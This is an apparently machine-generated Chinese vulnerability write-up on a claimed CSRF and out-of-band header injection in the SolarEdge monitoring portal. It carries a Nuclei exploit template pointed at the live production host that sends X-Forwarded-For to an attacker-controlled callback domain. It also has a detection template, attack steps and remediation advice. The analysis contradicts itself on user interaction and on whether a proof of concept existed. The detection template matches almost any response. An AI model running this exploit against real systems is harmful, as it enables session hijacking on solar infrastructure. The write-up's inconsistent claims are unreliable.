[webapps] solaredge - (CSRF-OOB-Injection)

📋 漏洞基础信息

🔬 漏洞根因

端点在 `/solaredge-web/p/initClient` 上通过POST请求生成和覆写会话参数 (`createCookie`) 时未验证请求来源（Origin/Referer）；同时框架对 `X-Forwarded-For` 和 `Referer` 头缺乏过滤，导致OOB注入，强制基础设施向外部域发起请求。

🎯 攻击场景

1. 攻击者构造恶意页面或HTML表单，向 `https://monitoring.solaredge.com/solaredge-web/p/initClient` 发送POST请求，并注入 `createCookie` 参数。 2. 同时设置 `X-Forwarded-For` 和 `Referer` 头指向攻击者控制的域名（如 oastify.com）。 3. 诱骗已认证的合法运维人员访问该恶意页面，浏览器自动发送附带其Cookie的请求。 4. 服务器端未经校验即执行Cookie生成/覆写，并由于头部注入向外部域发起请求。 5. 攻击者通过外部域名接收到来自SolarEdge基础设施的回连请求，捕获会话凭证，进而未授权控制光伏系统。

💥 漏洞影响

攻击者可在没有用户交互的前提下劫持合法运维人员的会话，窃取凭证，最终未经授权控制SolarEdge光伏监控平台及关联的物理光伏系统，可能导致能源数据泄露、系统调度中断甚至物理设备损坏。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板，可直接用于漏洞验证：

id: solaredge-csrf-oob-injection-exploit

info:
  name: SolarEdge Monitoring Platform - CSRF-OOB-Injection Exploit
  author: nu11secur1tyAI
  severity: high
  description: |
    Exploit template for the SolarEdge CSRF-OOB-Injection vulnerability. The vulnerability
    allows an attacker to force a legitimate operator's browser to execute unauthorized
    commands and exfiltrate data to attacker-controlled domains via `X-Forwarded-For` and
    `Referer` headers. This PoC demonstrates the creation of a session cookie via CSRF
    and OOB injection to an attacker-controlled domain (oastify.com).
  reference:
    - https://www.patreon.com/posts/solaredge-csrf-156577436
  tags: solaredge,csrf,oob,injection,session

variables:
  oob_domain: '{{interactsh-url}}'
  client_payload: 'touch:false|csstransforms3d:true|generatedcontent:true|fontface:true|flexbox:true|canvas:true|canvastext:true|webgl:true|geolocation:true|postmessage:true|websqldatabase:false|indexeddb:true|hashchange:true|history:true|draganddrop:true|websockets:true|rgba:true|hsla:true|multiplebgs:true|backgroundsize:true|borderimage:true|borderradius:true|boxshadow:true|textshadow:true|opacity:true|cssanimations:true|csscolumns:true|cssgradients:true|cssreflections:true|csstransforms:true|csstransitions:true|video:|ogg:false|h264:false|webm:true|audio:|ogg:true|mp3:true|wav:true|m4a:false|localstorage:true|sessionstorage:true|webworkers:true|applicationcache:false|svg:true|inlinesvg:true|smil:true|svgclippaths:true|input:|autocomplete:true|autofocus:true|list:true|placeholder:true|max:true|min:true|multiple:true|pattern:true|required:true|step:true|inputtypes:|search:true|tel:true|url:true|email:true|datetime:false|date:true|month:true|week:true|time:true|datetime-local:true|number:true|range:true|color:true|fileapi:true|fullscreen:true|clientWidth:800|clientHeight:600|windowInnerWidth:1920|windowInnerHeight:1080|windowMaxWidth:800|windowMaxHeight:600|flash:true|mobile:false|phone:false|tablet:false|ie11:false|es6:true'

http:
  - raw:
      - |+
        POST /solaredge-web/p/initClient?cmd=createCookie&target=login&client={{client_payload}} HTTP/2
        Host: monitoring.solaredge.com
        Cache-Control: max-age=0
        Sec-Ch-Ua: "Chromium";v="146", "Not;A=Brand";v="24", "Google Chrome";v="146"
        Sec-Ch-Ua-Mobile: ?0
        Sec-Ch-Ua-Platform: "Windows"
        X-Forwarded-For: {{oob_domain}}
        Accept-Language: en-US;q=0.9,en;q=0.8
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
        Accept: */*
        Sec-Fetch-Site: none
        Sec-Fetch-Mode: navigate
        Sec-Fetch-User: ?1
        Sec-Fetch-Dest: document
        Accept-Encoding: gzip, deflate, br
        Cookie: JSESSIONID=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000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🔬 深度技术分析

原文未提供具体PoC代码，仅提及payload和exploit被省略。根据描述，PoC核心原理是通过POST请求越过CSRF token/Origin校验，直接操控 `createCookie` 参数改写session，同时利用 `X-Forwarded-For` 及 `Referer` 触发OOB外带数据。

🔍 Nuclei Detection 模板

以下为漏洞探测模板，用于判断目标是否受影响：

id: solaredge-csrf-oob-injection-detection

info:
  name: SolarEdge Monitoring Platform - CSRF OOB Injection Detection
  author: nu11secur1tyAI
  severity: high
  description: |
    Detection template for the SolarEdge CSRF-OOB-Injection vulnerability. The vulnerability
    exists in the `/solaredge-web/p/initClient` endpoint which allows session overwriting
    via CSRF and OOB data exfiltration via `X-Forwarded-For` and `Referer` headers.
  reference:
    - https://www.patreon.com/posts/solaredge-csrf-156577436
  tags: solaredge,csrf,injection,oob

http:
  - method: GET
    path:
      - '{{BaseURL}}/solaredge-web/p/initClient'
      - '{{BaseURL}}/solaredge-web/'
      - '{{BaseURL}}/'

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        words:
          - 'SolarEdge'
          - 'solaredge'
        part: body

      - type: status
        status:
          - 200
          - 302
          - 303
          - 400
          - 500

    extractors:
      - type: regex
        part: body
        regex:
          - 'SolarEdge[\s\S]{0,100}'
          - 'server:\s*SolarEdge'
          - 'X-Powered-By:\s*SolarEdge'

    headers:
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
      Accept: '*/*'
      Accept-Language: en-US;q=0.9,en;q=0.8

🛡️ 修复建议

厂商应：1. 在所有端点（特别是 `/solaredge-web/p/initClient`）实施CSRF token或严格校验Origin/Referer；2. 对 `X-Forwarded-For`、`Referer` 等HTTP头进行输入过滤与白名单验证，禁止头中出现外部域名；3. 强制使用SameSite Cookie属性；4. 临时缓解措施可配置WAF规则拦截可疑的 `createCookie` 参数及非预期头部值。

📎 参考链接

• https://monitoring.solaredge.com/
• Exploit-DB 原文

🚨 威胁评估

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-22 08:13 | 来源: Exploit-DB